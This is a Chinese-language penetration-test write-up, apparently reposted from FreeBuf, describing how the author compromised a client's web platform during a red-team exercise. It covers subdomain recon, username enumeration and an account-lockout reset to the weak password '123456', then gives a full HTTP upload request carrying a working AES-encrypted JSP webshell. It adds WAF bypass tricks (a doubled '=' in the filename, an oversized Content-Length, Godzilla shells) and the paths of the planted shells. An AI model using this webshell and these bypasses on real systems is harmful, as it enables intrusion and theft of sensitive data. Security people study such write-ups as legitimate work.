奇葩设计到网站getshell – 作者:yiran4827

0.前言

在厉害的安全防御手段也比不上脑回路产生的稀奇古怪设计思路和奇特编码。

这是在客户安全攻防实战演练中针对某个网站一次完整的渗透测试经历,做一个简单的分享。

1.思路

1.收集资产信息,子域名等,可以使用oneforall跑出子域
2.然后把所有子域去重放到WebAliveScan里跑指纹和端口,WebAliveScan可以多跑点端口,然后把200,403,404,500状态的筛选出来
3.再将存活的域名放到扫描器中进行批量扫描。

2.目标发现

经过资产收集某个重要系统域名下存在8086服务开放,http://isp.xx.com.cn:8086/,但是直接访问页面空白,利用御剑加载大字典进行8086路径探测,也是一无所获,抱着试一试的心态使用Google的搜索语法进行尝试intext:isp.xx.com.cn:8086,竟然还有意想不到的收获,该端口下的完整访问url,为客户的信息验证平台,直接复制链接访问。

image

image

段落小结:网站路径探测过程中,可以路径扫描工具结合搜索引擎,可能有意想不到的效果

3.奇葩的设计

访问得到的url是一个登陆接口,尝试利用admin账号,密码任意进行登陆,提示”密码错误,您还有4次机会”。换个账号test进行登陆尝试,提示”账号不存在”,说明可能存在用户名遍历漏洞,证明admin账号存在。

image

手工尝试猜测admin使用不同的常用密码登陆,是否可以猜测出可能存在弱口令。密码错误一次,尝试机会提示少一次,并且错误3次之后开始弹出验证码,想利用工具爆破admin密码还得结合打码工具,直接放弃利用工具撞库想法。5次猜测完毕,直接提示”账号已被锁定,请联系管理员进行重置”。

image

最初以为只是做了每个访问IP每天5次访问的机会限制,换个出口IP可以继续尝试admin账号登录,挂了代理换了出口IP进行访问,还是提示”账号已被锁定,请联系管理员进行重置”。看来设计思路是直接对admin账号进行锁死了,跟访问的IP地址无关,只能等管理员进行重置之后。准备放弃登录接口的攻击,尝试其他的思路进行攻击,看看其他点有没有漏洞,打了一圈之后还是一无所获,过了几个小时,抱着试一下的心态利用”admin/123456″进行登录尝试,竟然登录成功,管理进行了锁死重置操作,并且将密码重置为弱口令”123456″。

该平台是客户的核心系统,登录之后泄露了大量客户的敏感信息,资产金额、姓名、身份ID、手机号,持有份额(数千亿资产信息),反正就是超级敏感就对了,还可以修改客户账号密码等。危害太大难得打码就不截图了。

登录平台系统之后可以getshell(getshell具体方式在下一段细讲)拿到网站源码,顺便看一下重置锁死账号的代码逻辑如下,直接将重置的密码硬编码在代码中,佩服佩服。

@RequestMapping(params={"pwdInit"}) 
public Modelandview pwdinit(httpServletRequest request) 
{
  ModelAndview modelAndview = null;
  TSUser user = new TSUser();
  user.setUserName("admin")
  String newPwd = "123456";
  this.userService.pwdInit(user, newPwd);
  modelAndView = new ModelAndview(new RedirectView("login.do?login"));
  return modelandView
}
段落小结:渗透测试过程中遇到账号会被锁死情况,可以尝试将账号进行锁死,等待管理员进行重置,可能会有奇迹出现。

4.getshell

登录之后发现后台一处”图标录入”可以进行webshell上传,只是存在长亭的waf进行防御,开始尝试上传直接被拦截。

image

尝试绕过,提供3中方式进行绕过:

双=绕过

双等于号绕过waf后缀黑名单限制,

image

请求源码如下:木马能上传成功,测试表明网络中的安全访问设备未起效果。

POST /login/common/upload-idcard-front HTTP/1.1
Host: www.test.con:8086
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------22460049716773704611706440903
Content-Length: 878
Origin: https://www.test.con:8086
DNT: 1
Connection: close
Referer: https://www.test.con:8086
Cookie: SESSION=YzU5ZmUxMWItYjVkOS00ODUxLTk5ZDktNjYyYmExMjUwMTRl; isLoginAdmin=true; isNeed2ChangePass=false; isFirstLogin=false

-----------------------------22460049716773704611706440903
Content-Disposition: form-data; name="file"; filename=="a.jsp"
Content-Type: image/png

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>
-----------------------------22460049716773704611706440903—

长度绕过

content-length长度绕过,可通过插入超长字符来绕过对于上传文件及内容的检测。content-length只要超过100W即可绕过waf。

image

哥斯拉webshell直接绕过

上传哥斯拉最新版本的木马就可以绕过WAF检测

image

上传的webshell地址如下:

冰蝎马 http://isp.test.com.cn:8086/sc/webpage/fivp/AbnormalIP/1.jsp
哥斯拉内存马 http://isp.test.com.cn:8086/sc/fav1con.ico
哥斯拉马:http://isp.test.com.cn:8086/sc/temp/icon9bd475fa-9dcb-42fc-ab15-c47b32337c6b.jsp 

image

系统权限为administrator,都不用提权

image

因为不存在域控,接着进行本机的信息获取,例如数据的账号密码,系统上存在各类配置文件中的账号密码,在翻阅过程中,被攻防演练的蓝队发现上传了webshell,导致系统下线,也就截止了,但是也拿到大量的数据库信息,相关连接的系统账号密码等。

来源:freebuf.com 2021-04-14 07:12:12 by: yiran4827

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论